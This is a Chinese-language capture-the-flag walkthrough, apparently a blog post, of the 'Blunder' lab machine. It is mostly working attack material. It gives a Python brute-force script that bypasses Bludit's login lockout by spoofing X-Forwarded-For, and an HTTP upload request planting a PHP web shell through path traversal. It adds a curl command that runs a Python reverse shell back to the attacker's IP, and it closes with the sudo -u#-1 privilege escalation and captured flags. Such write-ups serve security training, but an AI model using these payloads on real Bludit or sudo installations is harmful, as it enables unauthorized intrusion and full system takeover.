[Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

信息收集

IP Address Opening Ports
10.10.10.191 TCP:80

$ nmap -p- 10.10.10.191 --min-rate 1000 -sC -sV

bash 复制代码
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)

www-data 权限

$ gobuster dir -u "http://10.10.10.191/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

http://10.10.10.191/todo.txt

username:fergus

$ cewl 10.10.10.191 > pass.txt

python 复制代码
#!/usr/bin/env python3
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = []


with open('pass.txt', 'r') as words:
    for line in words:
        line = line.rstrip()
        wordlist.append(line)


for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)

    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p=password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers=headers, data=data, allow_redirects=False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u=username, p=password))
            print()
            break

$ python3 exp.py

Password:RolandDeschain

https://github.com/bludit/bludit/issues/1081

bash 复制代码
POST /admin/ajax/upload-images HTTP/1.1
Host: 10.10.10.191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------423763520129402281753554177338
Content-Length: 173373
Origin: http://10.10.10.191
Connection: close
Referer: http://10.10.10.191/admin/new-content
Cookie: BLUDIT-KEY=7vn276oblmdb0l4kt4n3sltkl5


-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="images[]"; filename="TEAM.php"
Content-Type: image/png


<?=phpinfo();system($_GET[0]);?>
-----------------------------423763520129402281753554177338

Content-Disposition: form-data; name="uuid"


../../tmp
-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="tokenCSRF"


96062fa2efef00e52320951d57034af3a4f480f4
-----------------------------423763520129402281753554177338--

$ curl "http://10.10.10.191/bl-content/tmp/TEAM.php?0=python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.6%22%2C10032))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fsh%22)'"

User 权限

$ cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

username:hugo
hash:faca404fd5c0a31cf1897b823c695c85cffeb98d

https://md5decrypt.net/en/Sha1/

!

password:Password120

User.txt

$ cat /home/hugo/user.txt

cb37fd3c2e81e209769763b3fd001348

权限提升

$ sudo --version

$ sudo -u#-1 /bin/bash

Root.txt

# cat /root/root.txt

d10d349c006d7beb3e00cf067fba123d

相关推荐
qq_171538852 小时前
TCP/IP协议精解:IP协议——互联网世界的邮政编码系统
网络·网络协议·tcp/ip
珹洺3 小时前
计算机网络:(七)网络层(上)网络层中重要的概念与网际协议 IP
网络·tcp/ip·计算机网络
兮动人3 小时前
获取终端外网IP地址
java·网络·网络协议·tcp/ip·获取终端外网ip地址
怦然星动_3 小时前
eNSP中实现vlan间路由通信(路由器)
网络·智能路由器
zyx没烦恼6 小时前
TCP相关实验
服务器·网络·tcp/ip
HumanRisk12 小时前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
island131415 小时前
节点小宝内网穿透实测:告别“无网”烦恼,让你的设备“触手可及”
网络·智能路由器
(:满天星:)15 小时前
第31篇:块设备与字符设备管理深度解析(基于OpenEuler 24.03)
linux·运维·服务器·网络·centos
野蛮人6号16 小时前
虚拟机网络编译器还原默认设置后VMnet8和VMnet1消失了
网络·vmware·虚拟机网络编译器·vmnet8消失
scuter_yu17 小时前
主流零信任安全产品深度介绍
运维·网络·安全